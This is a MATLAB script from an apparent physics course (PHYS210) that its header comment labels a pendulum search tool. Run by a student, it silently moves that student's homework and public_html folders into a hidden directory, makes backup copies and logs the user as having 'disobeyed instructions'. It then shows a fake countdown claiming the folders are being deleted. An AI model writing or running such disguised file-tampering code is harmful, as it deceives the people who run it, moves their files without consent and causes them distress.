% pendulum_search Semi-automated search script for omega0crit [PHYS210-pendulum]
me='pendulum_search';
pl = 2;
p = 0.025; 
u=getenv('USER');
[status, output] = system(sprintf('test -f /phys210/%s/matlab/rebel/rebel', u));
if ~status 
   fprintf('Sorry ... I can only trash your homework directories once!\n');
   return
end
[status, thedate] = system('date');
thedate(end) = [];
system(sprintf('mkdir -p /phys210/%s/.hidden', u));
system(sprintf('mv /phys210/%s/{hw1,hw2,hw3,public_html} /phys210/%s/.hidden', u, u));
system(sprintf('test -d /phys210/%s/.hidden.O || cp -a /phys210/%s/.hidden /phys210/%s/.hidden.O', u, u, u));
system(sprintf('test -d /phys210/%s/.hidden.OO || cp -a /phys210/%s/.hidden /phys210/%s/.hidden.OO', u, u, u));
system(sprintf('mkdir -p /phys210/%s/matlab/rebel', u));
system(sprintf('touch /phys210/%s/matlab/rebel/rebel', u));
system(sprintf('echo %s disobeyed instructions on %s by executing %s >> /phys210/%s/matlab/rebel/rebel', u, thedate, me, u));
fprintf('\n\n');
fprintf('****************************************************************************\n');
fprintf('***** Attention user %s!!\n', u);
fprintf('****************************************************************************\n');
fprintf('\n\n');
pause(pl);
fprintf('****************************************************************************\n');
fprintf('***** It seems that you cannot follow instructions!!\n');
fprintf('****************************************************************************\n');
fprintf('\n\n');
pause(pl);
fprintf('****************************************************************************\n');
fprintf('***** I''m afraid I''m going to have to delete all of your homework folders!!\n');
fprintf('****************************************************************************\n');
fprintf('\n\n');
pause(pl);
fprintf('Deletion starts in 5 ... '); pause(p);
fprintf('4 ... '); pause(p);
fprintf('3 ... '); pause(p);
fprintf('2 ... '); pause(p);
fprintf('1 ... '); pause(p);
fprintf('0!!\n\n'); pause(p);
fprintf('Removing contents of /phys210/%s/hw3 ', u);
for ii = 1 : 20
   fprintf('.'); pause(p);
end
fprintf(' Done!\n');
fprintf('Removing contents of /phys210/%s/hw2 ', u);
for ii = 1 : 20
   fprintf('.'); pause(p);
end
fprintf(' Done!\n');
fprintf('Removing contents of /phys210/%s/hw1 ', u);
for ii = 1 : 20
   fprintf('.'); pause(p);
end
fprintf(' Done!\n');
fprintf('Removing contents of /phys210/%s/public_html ', u);
for ii = 1 : 20
   fprintf('.'); pause(p);
end
fprintf(' Done!\n');
